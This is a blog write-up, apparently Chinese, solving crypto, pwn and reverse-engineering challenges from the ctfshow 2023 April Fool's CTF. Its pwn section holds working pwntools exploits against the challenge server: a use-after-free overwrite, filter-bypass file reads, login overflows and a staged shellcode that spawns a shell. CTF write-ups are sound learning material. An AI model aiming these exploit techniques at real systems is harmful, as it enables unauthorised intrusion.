[ctfshow 2023 愚人杯] crypto,rev,pwn

这个愚人杯很厉害呀,感觉脑子不够用的。

第1个热身题,啥都没有,就一句提示“flag是一个不能说的秘密”我想了一天,第二天才想出来。

其它题也都很不错,一直没时间,看了部分别人的,现在babyre还没完成。

Crypto

easybase

显然是个base的题,题目是个hex的串,16-32-64就出来了

大牛的密码

一个查表题类sbox,encrypt1比较复杂但没用到,encrypt2是个查表

from Crypto.Util.number import *
from flag import flag
from Crypto.Util.Padding import pad
from random import *
def s_box(a):
    box=[i for i in range(a)]
    shuffle(box)
    return box
BLOCK=16
flag=pad(flag,BLOCK)
S_BOX=s_box(len(flag))
m=[i for i in flag]
def swap(a,b):
    tmp = a
    a = b
    b = tmp
def encrypt1(m):
    enc=[m[i:i+BLOCK] for i in range(0,len(m),BLOCK)]
    for i in enc:
        for j in range(BLOCK):
            aa=j*7%BLOCK
            swap(i[j],i[aa])
def encrypt2(m):
    for i in range(16):
        m=[m[i] for i in S_BOX]
    return m
encrypt1(m)  #未参与加密
c=encrypt2(m)
print(S_BOX)
print(c)

直接查回来即可

s_box = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]

for i in range(16):
    m = [0]*len(s_box)
    for j,v in enumerate(c):
        m[s_box[j]] = v 
    c = m

bytes(m)
#ctfshow{y0u_c5n_make_y0u1_own_CryptO}

comedy

flag分两部分,第1部分是个有限域算式,但域(flag第2部分)没直接给出

import gmpy2, libnum
from secret import flag1, flag2

m = libnum.s2n(flag1)
assert m.bit_length() < 200
B = gmpy2.next_prime(libnum.s2n(flag2))
A = (2022 - 2023 * m) % B
leak = pow(2, 2023, B)
print(A)
print(leak)

根据第1个式子,虽然不能直接算出B,但可以算出包含因子B的数

leak = pow(2, 2023, B)   =>  k*B = 2^2023 - leak 

然后以nb为域,A-2022+2023*x 是nb的因子,用CopperSmith方法求部分p

A = 493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak = 238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952

nb = 2**2023 - leak

P.<x> = PolynomialRing(Zmod(nb))
f = A-2022+2023*x 
g = f.monic()
m = g.small_roots(X=2^200, beta=0.4)[0]
B = f(m)
print(long_to_bytes(m)+long_to_bytes(B))
#m = 2438621860802508754666419561610531898810985542251330229087
#ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}

 ecc_mini

一个椭圆曲线的题,

from Crypto.Util.number import *
from secret import flag
flag=bytes_to_long(flag)
a =getPrime(256)
b =getPrime(256)
p =getPrime(256)
m1=int(str(flag)[:5])-4585
m2=int(str(flag)[5:])
#EllipticCurve([a1, a2, a3, a4, a6]) -- y^2+(a1)xy+(a3)y=x^3+(a2)x^2+(a4)x+(a6)
E = EllipticCurve(GF(p), [a, b])
X=E.lift_x(m1)
Y=7*X
m = E.random_point()
G = E.random_point()
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2=m[0]*m2
print(f"p = {p}")
print(f"a = {a}")
print(f"b = {b}")
print(f"k = {k}")
print(f"E = {E}")
print(f'Y = {Y}')
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"w2 = {w2}")

题目flag分两部分,第1部分5字节很小,代码第一部分给定Y,且Y=7X求X,由于椭圆曲线没有除法,所以不能直接除,不过由于参数很小,可以爆破

p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
k = 58155941823118858940343657716409231510854647214870891375273032214774400828217
w2 = 16315249811700998894876359855091105114973337718373913477026230968747515636405

#求m2
E = EllipticCurve(GF(p), [a, b])
Y = E(33237936857741483513705672980652927705102229733798436323453609986072499230366,52619411226266177137991318059937693955038910547834999771526408984808553907338)
c1 = E(37414446283406201193977113266234367761786780230360175925999700345196415953455,17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 = E(60560423732267272277570046154733119097475794979191838027420415113112056962844,54372226143125971429691267751299496959531971082475860532181772357190222938465)

#爆破m1
for i in range(10000, 99999):
    if i%1000 == 0:
        print('.')
    try:
        tmp = E.lift_x(i - 4585)
        ty = 7*tmp
        if ty == Y:
            print(i)
            break
    except:
        pass

#m1 = 62428

第二块是个算式,可以推出来

c1 = m + rK; K = k*G; c2 = r*G => c1 - k*c2 = m

m = c1 - k*c2
#w2 = m[0]*m2 
m2 = (w2 * inverse_mod(m[0], p))%p
#m2 = 7196365442241205186856420688221367789171469258517476477

最后组装在一起(是字符串连接不是加法)

#3
from Crypto.Util.number import *
flag = 624287196365442241205186856420688221367789171469258517476477
print(long_to_bytes(flag))
#ctfshow{the_answer_is_it}

easy_xor

assert len(flag[8:-1])==23
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
c1 = m^p
c2 = pow(m,e,n)
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'n = {n}')

题目给出m是32位,相比p(1024)来说很小,给的c1=m^p其实只是异或了后边256位,也就是说这是个部分泄露的题,用coppersmith方法

c1 = 151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
c2 = 7894512574379281106340582833782408137686355961537832816105517328532111343730615739255485918919146012721446905489729048235088965936700563973759759039693443386542070451737445467143517377017890468837697907596398070608179281207203217576205857817411996178441661371846647602166663752324880657668362355493701482869858528298247422875427747085642627978367348931707497113936723122393282697211257939351221141536029828744507560524637999804394951722319070365576391442828074457050403771353328835153787572457070779602728359333021922987279454923820866436212282592764768470608545881718922440010751845730974331917142224339664090863915
n = 20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981

#flag 256位, p 前1024-256位已知
pa = c1>>256

P.<x> = PolynomialRing(Zmod(n))
f = (pa<<256)+x
g = f.monic()
k = g.small_roots(X=2**256, beta=0.4)

p = f(k[0])
assert n%p == 0 

flag = c1^^int(p) 
long_to_bytes(flag)
#ctfshow{m_xor_p_but_coppersmith}

总体来说密码这块还是比较简单的

pwn

pwn这块几个题的问的别人,很多细节没看仔细,所以没找到切入点

check_in

一个堆题,有add,free,show但是是个静态题PIE也没开,地址都知道了show没用只是用来调起后门,在free时有UAF漏洞,分管理块和数据块,只需要建两个大块释放后建小块控制管理块里的指针就OK了,问题是需要找到到shell的入口

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char v2[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, v2, 4);
  v1 = atoi((int)v2);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Success!");
    exit(0);
  }
  if ( notelist[v1] )
  {
    free(*(_DWORD *)(notelist[v1] + 4));
    free(notelist[v1]);
    puts("Fail");
  }
  return __readgsdword(0x14u) ^ v3;
}

在程序里有system,do_system结果都不成功,看别人的提示,有一个__libc_start__main(注意这里start和main中间是两个下划线)这是在考眼力啊。

int _libc_start__main()
{
  return system((int *)"sh");
}
from pwn import *

#p = process('./check-in.check-in')
p = remote('pwn.challenge.ctf.show', 28108)
context(arch='i386', log_level='debug')

elf = ELF('./check-in.check-in')

def add(size, msg):
    p.sendlineafter(b"chioce :", b'1')
    p.sendlineafter(b"Note size :", str(size).encode())
    p.sendafter(b"Content :", msg)

def free(idx):
    p.sendlineafter(b"chioce :", b'2')
    p.sendlineafter(b"Index :", str(idx).encode())

def show(idx):
    p.sendlineafter(b"chioce :", b'3')
    p.sendlineafter(b"Index :", str(idx).encode())

add(0x10, b'A')
add(0x10, b'A')
free(0)
free(1)

add(8, p32(elf.sym['__libc_start__main'])) #not __libc_start_main
show(0)
p.interactive()

easy_sql

这个也是看别人才完成,漏洞比较隐密

先是一个检查,gets溢出可以绕过

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  auth_user = (char *)malloc(0x20uLL);
  signal(14, exitfunc);
  alarm(0x28u);
  puts(a2);
  puts(a0);
  puts(a2_0);
  puts(a3);
  puts(a0_0);
  puts(a4);
  puts(a1);
  validate_demo_activation_code();              // CTFshow-demo-code-admin  yes
  if ( *((_DWORD *)auth_user + 8) != 'yes' )
    exit(0);
  puts("Welcome to CTFshow-sql!");
  puts("This project was made as an extention to the super successful project, sabataD!");
  puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");
  f_menu();
  return result;
}
int validate_demo_activation_code()
{
  printf("%s", "Demo activation code: ");
  fflush(_bss_start);
  fgets(auth_user, 36, stdin);
  if ( !strcmp("CTFshow-demo-code-admin", auth_user) && *((_DWORD *)auth_user + 8) == 0x796573 )
    return puts("Demo access granted!");
  else
    return puts("Demo access not granted!");
}

然后是个循环可以读文件和写文件,显然写没有意义,就看读就行了

void f_0()
{
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        printf("%s", "Query: ");
        fflush(_bss_start);
        fgets(a_1, 20, stdin);
        if ( !strstr(a_1, "read") )
          break;
        if ( ++a_3 > 2 )
          goto LABEL_3;
        f_read();                               // read
      }
      if ( strstr(a_1, "write") )
        break;
      puts("Unrecognised command!");
    }
    f_write();                                  // write
    ++a_3;
  }
  while ( a_3 <= 2 );
LABEL_3:
  printf("You have exhausted the request limit for your CTFshow-sql demo!");
  exitfunc((int)"You have exhausted the request limit for your CTFshow-sql demo!");
}

读的时候有个漏洞,a_0在检查通过后会置为1,而检查时用的&&,是说只要一次检查通过以后就不检查了,这个点一直没看到。因为后边有用子进程,然后就一直想子进程的事,大意了。

int f_read()
{
  int result; // eax

  printf("%s", "database to read from: ");
  fflush(_bss_start);
  fgets(e_0, 100, stdin);
  strtok(e_0, "\n");
  if ( (strstr(e_0, "flag") || strchr(e_0, 42) || strchr(e_0, 63)) && !a_0 )// 第1次通过检查后a_0置1,第2次不检查直接通过
  {
    result = puts("You are not allowed access to that database!");
    a_0 = 0;
  }
  else
  {
    a_0 = 1;
    if ( access(e_0, 0) == -1 )
    {
      return puts("Tried to open non-existing database");
    }
    else
    {
      printf("%s", "database to read: ");
      fflush(_bss_start);
      fgets(e_1, 7, stdin);
      e_2 = atoi(e_1) + 1;
      pthread_create(&k_1, 0LL, f_4, 0LL);
      result = pthread_join(k_1, 0LL);
      a_0 = 0;
    }
  }
  return result;
}

所以只要随便输点啥,不输也行先检查通过一次,然后再输入flag就可以获取文件了

from pwn import *

p = process('./easy_sql.sql')
#p = remote('pwn.challenge.ctf.show', 28108)
context(arch = 'amd64', log_level='debug')

p.sendlineafter(b"Demo activation code: ", b"CTFshow-demo-code-admin".ljust(32, b'\x00')+ b'sey')

p.sendlineafter(b"Query: ", b'read')
p.sendlineafter(b"database to read from: ", b'')  #check OK a_0=1

p.sendlineafter(b"Query: ", b'read')
p.sendlineafter(b"database to read from: ", b'flag') #a_0==1 pass check
p.sendlineafter(b"database to read: ", b'xxx')
p.recv()

p.interactive()

easy_login

题目代码很长,第一步是在login和register之间选择,在堆里用户名结构是64字节:

name:30    password:30    state:4

在login里读入里用的n是0x23正好可以溢出写到state,给它置位。

int m_login()
{
  int result; // eax
  char v1; // [rsp+Bh] [rbp-5h]
  int i; // [rsp+Ch] [rbp-4h]

  printf("Username: ");
  fflush(stdout);
  fgets((char *)ptr + 64 * (__int64)dword_203040, n, stdin);// 35
  printf("Password: ");
  fflush(stdout);
  fgets((char *)ptr + 64 * (__int64)dword_203040 + 30, n, stdin);
  strtok((char *)ptr + 64 * (__int64)dword_203040, "\n");
  strtok((char *)ptr + 64 * (__int64)dword_203040 + 30, "\n");
  for ( i = 0; i < dword_203040; ++i )
  {
    if ( !strcmp("CTFshow-admin", (const char *)ptr + 64 * (__int64)i)
      && !strcmp("CTFshow-password", (const char *)ptr + 64 * (__int64)i + 30)
      && *((_DWORD *)ptr + 16 * (__int64)i + 15) == 'wat' )
    {
      printf("Succesfully logged in as user: %s", (const char *)ptr + 64);
      result = i;
      dword_20303C = i;
      return result;
    }
  }
  puts("Incorrect credentials, would you like to register instead?");
  printf("[y/n]: ");
  fflush(stdout);
  v1 = getchar();
  result = getchar();
  if ( v1 == 'y' )
    return m_register();
  return result;
}

然后要对照数组输入数据,程序写的很乱,用getc代替gets或者scanf,其实就是用空格分隔的4个串,但最后一个串不会加\0这个得自己写,getc调起来很麻烦,一句句调。

void __fastcall vuln2(__int64 a1)
{
  char v1; // [rsp+1Bh] [rbp-A5h]
  int i; // [rsp+1Ch] [rbp-A4h]
  int j; // [rsp+20h] [rbp-A0h]
  int v4; // [rsp+24h] [rbp-9Ch]
  int v5; // [rsp+28h] [rbp-98h]
  char s[32]; // [rsp+30h] [rbp-90h] BYREF
  char v7[32]; // [rsp+50h] [rbp-70h] BYREF
  char v8[32]; // [rsp+70h] [rbp-50h] BYREF
  char v9[40]; // [rsp+90h] [rbp-30h] BYREF
  unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v5 = 1;
  while ( 1 )
  {
    v4 = 0;
    memset(s, 0, sizeof(s));
    memset(v7, 0, sizeof(v7));
    memset(v8, 0, sizeof(v8));
    memset(v9, 0, 0x20uLL);                     // +8
    fflush(stdout);
    fflush(stdin);
    if ( v5 == 1 )
      v5 = 0;
    else
      ++v5;
    fflush(stdout);
    for ( i = 0; i <= 3 && !v4; ++i )           // 竖向输入,回车或*结束,可能溢出
    {
      for ( j = 0; ; ++j )
      {
        v1 = getchar();
        if ( v1 == ' ' )
          goto LABEL_22;
        if ( i == 1 )
        {
          v7[j] = v1;
        }
        else if ( i > 1 )
        {
          if ( i == 2 )
            v8[j] = v1;
          v9[j] = v1;
        }
        else if ( !i )
        {
          s[j] = v1;
        }
        if ( v1 == '*' || v1 == '\n' )
          break;
      }
      v4 = 1;
      fflush(stdin);
LABEL_22:
      if ( i == 1 )
      {
        v7[j + 1] = 0;
      }
      else if ( i > 1 )
      {
        if ( i == 2 )
          v8[j + 1] = 0;
        v9[j + 1] = 0;
      }
      else if ( !i )
      {
        s[j + 1] = 0;
      }
    }
    vuln3(s, v7, v8, v9, a1);
    fflush(stdout);
  }
}

主要是看代码的工夫。

from pwn import *


#p = process('./easy_login.login')
p = remote('pwn.challenge.ctf.show', 28110)
context.log_level = 'debug'

#gdb.attach(p)

#login
p.sendlineafter(b"-- CTFshow Fool's Day terminal based application --\n", b'l')
p.sendlineafter(b"Username: ", b"CTFshow-admin")
p.sendafter(b"Password: ", b"CTFshow-password".ljust(30,b'\x00')+p32(0x776174))
p.sendlineafter(b"[y/n]: ", b'n')

sleep(0.2)
a = ['Fool','Jazz','Mingus','Hat\x00']
a = ' '.join(a)
p.sendline(a.encode())
#p.recvline()

p.interactive()

babypad

这个一层层菜单进,最后猜一个随机数,不过会反馈大还是小,而且无次数限制,猜对既可。

unsigned __int64 game()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = rand() % 10000 + 1;
  v1 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      printf(aStart);
      __isoc99_scanf(&unk_4025CB, &v1);
      if ( v2 >= v1 )
        break;
      puts("B");
    }
    if ( v2 <= v1 )
      break;
    puts("S");
  }
  puts("Great");
  puts("Give you some gift!");
  _libc_start__main();
  return __readfsqword(0x28u) ^ v3;
}

这个也走了点弯路。根据提示用二分法

from pwn import *

#p = process('./babypad')
p = remote('pwn.challenge.ctf.show', 28111)
context(arch='i386', log_level='debug')

elf = ELF('./babypad')

p.sendlineafter(b'>>>', b'A')
p.sendlineafter(b'>>>', b'8')
p.sendlineafter(b'>>>', b'8')

p.sendlineafter(b'>>>', b'D') #-->error_message
p.sendlineafter(b'>>>', b'1')
p.sendline(b'6')
p.sendlineafter(b'Th13_13_ju3t_@_j03ke!',b'3')
p.sendlineafter(b'Choice:', b'1')

left,right = 1,10000

while left<right:
    v = ( left + right ) // 2
    print(v)
    p.sendlineafter( b"Start\xef\xbc\x9a", str(v).encode() )
    ret = p.recvline()
    if b'B\n' == ret:
        right = v
    elif b'S\n' == ret:
        left = v
    elif b'Great\n' == ret:
        print('OK')
        p.interactive()
    else:
        pass

看了stone-san的WP,原来可以很简单

srand(time(0)) 是拿当时时间的秒数(从计算机开始点算)当种子,现在计算机都时钟都与标准时间同步,所以在本地也用这个时间就能完成,根本不用去猜。

libc.srand(libc.time(0))
a = str(libc.rand() % 10000 + 1).encode()
sl(a)

baby_shellcode

这个题感觉见过,当时就没弄出来。可以输入9个字符,然后用这9个字符去异或48的密文,恢复shellcode然后执行。

signed __int64 read_code_9()
{
  return sys_read(0, buf, 9uLL);
}

__int64 __fastcall run_xor(_BYTE *enc, __int64 len, unsigned __int64 key, unsigned __int64 key_len)
{
  unsigned __int64 v6; // rsi
  unsigned __int64 v7; // r8
  __int64 v8; // rcx

  v6 = key;
  v7 = 0LL;
  v8 = 0LL;
  while ( v8 != len )                           // 0x48
  {
    enc[v8] ^= *(_BYTE *)(v6 + v7);
    v8 = (unsigned int)(v8 + 1);
    key = (v7 + 1) % key_len;
    v7 = key;
  }
  return ((__int64 (__fastcall *)(_BYTE *, unsigned __int64, unsigned __int64, __int64, unsigned __int64, unsigned __int64))enc)(
           enc,
           v6,
           key,
           v8,
           v7,
           key_len);
}

一开始想这里边怎么也得有/bin/sh,或者/bin///sh和syscall吧,但是确实没有。后来一起能不能只用9字节造成shellcode呢,一试还真可以。只需要弄个read(0,buf,n)就行了。

这里需要rax=0,rdi=0,rsi=0x60013f附近,rdx=不太小的数

9字节肯定是不行,gdb跟进到执行时发现

rsi = 0x600136

r10 = 0x48

这样xor rax,rax 两字节,xor rdi,rdi 两字节,mox rdx,r10 3字节,syscall两字节正好。rdi比目的地小点但rdx足够大可以填充。

from pwn import *

p = remote('pwn.challenge.ctf.show', 28112)

context(arch='amd64', log_level='debug')

xcode = bytes.fromhex('b3917fdd6281116a90')

#rsi = 0x600136
#r10 = 0x48
#read(0, 0x600136, 0x48)
a = 'xor eax,eax;xor edi,edi;mov rdx,r10;syscall'
x = xor(asm(a), xcode[:9])

p.send(x)
p.send(b'\x90'*20 + asm(shellcraft.sh()))

p.interactive()

REV

easy_pyc

目前流行的pyc反编译都手搓字节码,但这题显然减小难度,可以直接反编译出python代码

print 'Welcome to CTFshow Re!'
print 'your flag is here!'
flag = ''
l = len(flag)
for i in range(l):
    num = ((flag[i] + i) % 114514 + 114514) % 114514
    code += chr(num)

code = map(ord, code)
for i in range((l - 4) + 1):
    code[i] = code[i] ^ code[i + 1]

print code
code = [
    '%16','%1d','%1e','%1a','%18','\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']

先异或再移位

code = b'\x16\x1d\x1e\x1a\x18\t\xff\xd0,\x03\x02\x148m\x01CD\xbd\xf7*\r\xda\xf9\x1c&5\'\xda\xd4\xd1\x0b\xc7\xc7\x1a\x90D\xa1'
code = [v for v in code]

for i in range(len(code)-4, -1, -1):
    code[i]^=code[i+1]

flag = [v-i for i,v in enumerate(code)]
bytes(flag)

#ctfshow{Just_F00l's_D@y_R3_Ch3ck-in!}

easy_re

不清楚为啥杀毒程序会报,本身连壳都没有,就非要杀掉,而且win11更新后还关不掉杀毒软件了。还是linux上好。

程序就一个加密函数,其它就没了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebx
  int v4; // ecx
  unsigned int v5; // edi
  unsigned int v6; // kr00_4
  int v7; // eax
  int v9; // [esp-4h] [ebp-414h]
  int v10; // [esp+10h] [ebp-400h]
  int v11; // [esp+18h] [ebp-3F8h] BYREF
  int v12; // [esp+1Ch] [ebp-3F4h] BYREF
  char v13[1004]; // [esp+20h] [ebp-3F0h] BYREF

  sub_401460(std::cout, byte_4031E8);
  sub_401700((int)v13);
  sub_401460(std::cout, byte_4031F8);
  std::istream::operator>>(std::cin, &v11);
  std::istream::operator>>(std::cin, &v12);
  v3 = v11 % 299;
  v4 = v12 % 299;
  v5 = 0;
  v10 = v12 % 299;
  v6 = strlen(v13);
  if ( v6 )
  {
    do
    {
      v9 = dword_403AA0[300 * v3 + v4] ^ v13[v5];
      v3 = (v9 + v3) % 299;
      v10 = (v9 + v10) % 300;
      v7 = std::ostream::operator<<(std::cout, v9);
      sub_401460(v7, ",");
      v4 = v10;
      ++v5;
    }
    while ( v5 < v6 );
  }
  sub_401460(std::cout, asc_403210);
  return 0;
}

密文在哪呢,直接打开看,原来是misc串门了,是个复合文件,密文在后边

#阿狸托我给您带个话,base64:flag。。。不好,忘了加密了,重来
a = [90,171,198,235,229,43,246,92,198,203,233,228,6,128,215,68,201,4,220,214,169,245,208,199,112,170,119,251,244,58,237,4,70,231,200,45,186,137,247,225,243,13,145,139,190,146,194,242,253,56,239,5,41,225,105,51,247,79,170,231,88,64,224,138,222,220,229,88,43,117,236,189,228,205,150,65,26,205,232,141,116,149,185,89,212,251,16,215,205,17,238,22,245,77,220,198,224,248,223,209,205,167,223,210,165,247,190,3,5,246,243,228,181,33,42,207,174,138,244,118,192,22,219,60,80,229,144,219,133,211,221,229,190,58,151,240,183,207,221,60,77,217,220,74,105,220,221,165,85,174,43,183,188,190,252,255,130,137,189,201,239,181,150,143,214,203,26,211,103,222,105,87,214,179,83,185,104,206,229,172,221,117,163,57,106,200,46,165,193,135,243,166,168,209,144,52,210,12,58,10,103,5,211,55,172,76,88,250,136,245,167,139,241,26,92,97,139,241,137,27,53,211,251,191,240,173,14,231,241,242,255,122,144,97,234,36,175,155,253,35,156,229,19,166,191,140,195,218,130,35,200,178,245,41,162,243,214,222,87,83,195,144,55,159,208,241,193,233,204,228,196,105,84,58,220,226,1,47,248,138,177,124,236,53,210,79,250,106,27,244,251,203,210,103,213,218,183,4,40,28,12,175,52,224,203,89,176,174,175,233,43,20,103,152,201,4,148,76,241,103,135,139,136,246,80,184,255,194,149,239,206,207,246,166,20,63,202,199,177,214,60,99,74,211,219,94,247,193,40,212,197,175,30,244,41,24,113,27,249,213,225,55,188,193,165,220,174,252,105,154,74,126,174,255,110,169,103,44,246,255,98,251,211,87,171,62,67,250,69,149,18,77,159,137,168,231,187,97,174,115,243,44,128,151,90,246,83,11,138,67,184,22,53,228,230,252,76,112,20,136,131,90,233,248,67,207,61,212,113,62,239,203,201,66,83,179,16,209,253,63,206,208,101,150,196,145,101,220,22,79,241,69,237,219,97,87,20,22,240,244,218,7,237,42,14,8,38,115,141,102,206,191,142,55,196,200,142,98,16,129,53,52,50,197,53,219,2,66,152,192,245,243,69,26,132,240,164,90,246,200,53,89,221,119,139,76,47,132,53,47,249,26,53,141,113,69,76,152,121,193,53,176,97,135,205,206,237,108,251,38,216,108,12,220,209,194,26,243,217,231,36,117,235,106,205,43,254,75,209,141,239,200,5,183,219,166,113,9,16,154,116,144,238,208,245,136,173,16,103,107,114,17,208,181,196,98,212,133,211,252]

密文,算法有了就好办了

def encrypt(k1,k2, plain):
    for i in range(len(plain)):
        v9 = d_3aa0[300*k1+k2]^plain[i]
        k1 = (v9+k1)%299
        k2 = (v9+k2)%300
        print(f'{v9},')

from base64 import *

def decrypt(k1,k2, cipher):
    tk1,tk2 = k1,k2
    m = []
    x = []
    for v9 in cipher[::-1]:
        k1 = (k1-v9)%299
        k2 = (k2-v9)%300
        m.append(d_3aa0[300*k1+k2] ^ v9)
        x.append(d_3aa0[300*k1+k2])
    flag = bytes(m[::-1])
    #print(flag[:10],k1,k2)
    if all([1 if v<0x7f else 0 for v in flag]):
        print(flag,k1,k2,tk1,tk2)
        print(bytes(x).decode('utf-8'))

from pwn import u32 

data = open('re1.exe', 'rb').read()[0x28a0: 0x5a6e0]
d_3aa0 = [u32(data[i:i+4]) for i in range(0, len(data), 4)]

for k1 in range(299):
    for k2 in range(300):
        decrypt(k1,k2,a)

出来base64的密文,解出来是个提示

msg ='ZmxhZ+S4jeWcqOi/memHjOWRpiwK5bCx5YOP55Sf5rS777yMCuS9oOi3qOi/h+S6huS6uuWxseS6uua1t++8jArkvaDot6jov4fkuobmmI7mnIjmuIXpo47vvIwK5L2g6KeB6L+H5LqG5LiJ5pu054Gv54Gr77yMCuS9oOingei/h+S6hum7juaYjueahOWfjuW4guOAggoK5L2g6KeJ5b6X5L2g5bey57uP6Laz5aSf5Yqq5Yqb77yMCuS9oOinieW+l+S9oOeQhuW6lOegtOa1quS5mOmjjuOAggrkvaDmu6HouqvnlrLmg6sK5L2g562L55ay5Yqb56utCgrlj6/mg5zvvIznvZfpqazkuI3lnKjliY3mlrnjgIIK5oiW6ICF77yM572X6ams5rC46L+c5Zyo5YmN5pa577yMCuWcqOWIq+S6uuWHuueUn+eahOWcsOaWueOAggoK5pys54u477yM5by654OI5bu66K6u5L2g5Zue5Yiw5pyA5Yid55qE5Zyw5pa5CuWlveWlveeglOeptuS4i+WKoOWvhuefqemYtQrmnInmg4rllpzlk6YK'
b = b64decode(msg).decode('utf-8')
b = 'flag不在这里呦,\n就像生活,\n你跨过了人山人海,\n你跨过了明月清风,\n你见过了三更灯火,\n你见过了黎明的城市。\n\n你觉得你已经足够努力,\n你觉得你理应破浪乘风。\n你满身疲惫\n你筋疲力竭\n\n可惜,罗马不在前方。\n或者,罗马永远在前方,\n在别人出生的地方。\n\n本狸,强烈建议你回到最初的地方\n好好研究下加密矩阵\n有惊喜哦\n'

加密矩阵300*300跟个图似的,一开始把可见字符弄出来,结果看不清,不过也能提交正确。然后想到跟是不是可见字符无关,字符代表灰度

from pwn import u32 

data = open('re1.exe', 'rb').read()[0x28a0: 0x5a6e0]
d_3aa0 = [u32(data[i:i+4]) for i in range(0, len(data), 4)]

from PIL import Image 
img = Image.new('L', (300,300))
for i in range(299):
    for j,v in enumerate(d_3aa0[i*300: i*300+300]):
        img.putpixel((i,j),v)

img.save('a.png')
img.show()
#ctfshow{d244daeb-7182-4c98-bec6-0c99329ab71f}

出来 的图镜像一下

 easy_cc

上边那题那么繁杂这题突然变简单了,就是个异或

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // esi
  FILE *v4; // eax
  size_t v5; // eax
  unsigned int v6; // ecx
  unsigned int v7; // kr00_4
  unsigned int v8; // kr04_4
  unsigned int v9; // esi
  unsigned int v10; // kr08_4
  char *v11; // ebx
  unsigned int v12; // esi
  int v13; // eax
  int v15; // [esp-4h] [ebp-20Ch]
  char v16[204]; // [esp+0h] [ebp-208h] BYREF
  char v17[204]; // [esp+CCh] [ebp-13Ch] BYREF
  char Buffer[100]; // [esp+198h] [ebp-70h] BYREF
  char v19[8]; // [esp+1FCh] [ebp-Ch] BYREF

  strcpy(v19, "key123");
  sub_401010((char *)&Format, v16[0]);
  v4 = _acrt_iob_func(0);
  fgets(Buffer, 100, v4);
  v5 = strcspn(Buffer, "\n");
  if ( v5 >= 0x64 )
    goto LABEL_16;
  v15 = v3;
  Buffer[v5] = 0;
  v6 = 0;
  v7 = strlen(Buffer);
  if ( v7 )
  {
    v8 = strlen(v19);
    do
    {
      v17[v6] = Buffer[v6] ^ v19[v6 % v8];
      ++v6;
    }
    while ( v6 < v7 );
    if ( v6 >= 0xC9 )
      goto LABEL_16;
  }
  v17[v6] = 0;
  v9 = 0;
  v10 = strlen(v17);
  if ( v10 )
  {
    v11 = v16;
    do
    {
      sub_401040(v11, "%02x", v17[v9++]);
      v11 += 2;
    }
    while ( v9 < v10 );
  }
  v12 = 2 * v9;
  if ( v12 >= 0xC9 )
  {
LABEL_16:
    __report_rangecheckfailure(v15);
    __debugbreak();
  }
  v16[v12] = 0;
  sub_401010("\n", v15);
  v13 = strcmp(v16, "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216");
  if ( v13 )
    v13 = v13 < 0 ? -1 : 1;
  if ( v13 )
    sub_401010("flag is false: ", v16[0]);
  else
    sub_401010("flag is true: ", v16[0]);
  system("pause");
  return 0;
}
a = "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216"
b = bytes.fromhex(a)
key = b'key123'
from pwn import xor
xor(b,key)
#b'ctfshow{cc_re_good_good!}'

babyre2

这个没完成,杀进程和子进程同步,gdb都不知道跟哪。等着看别人的WP吧

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

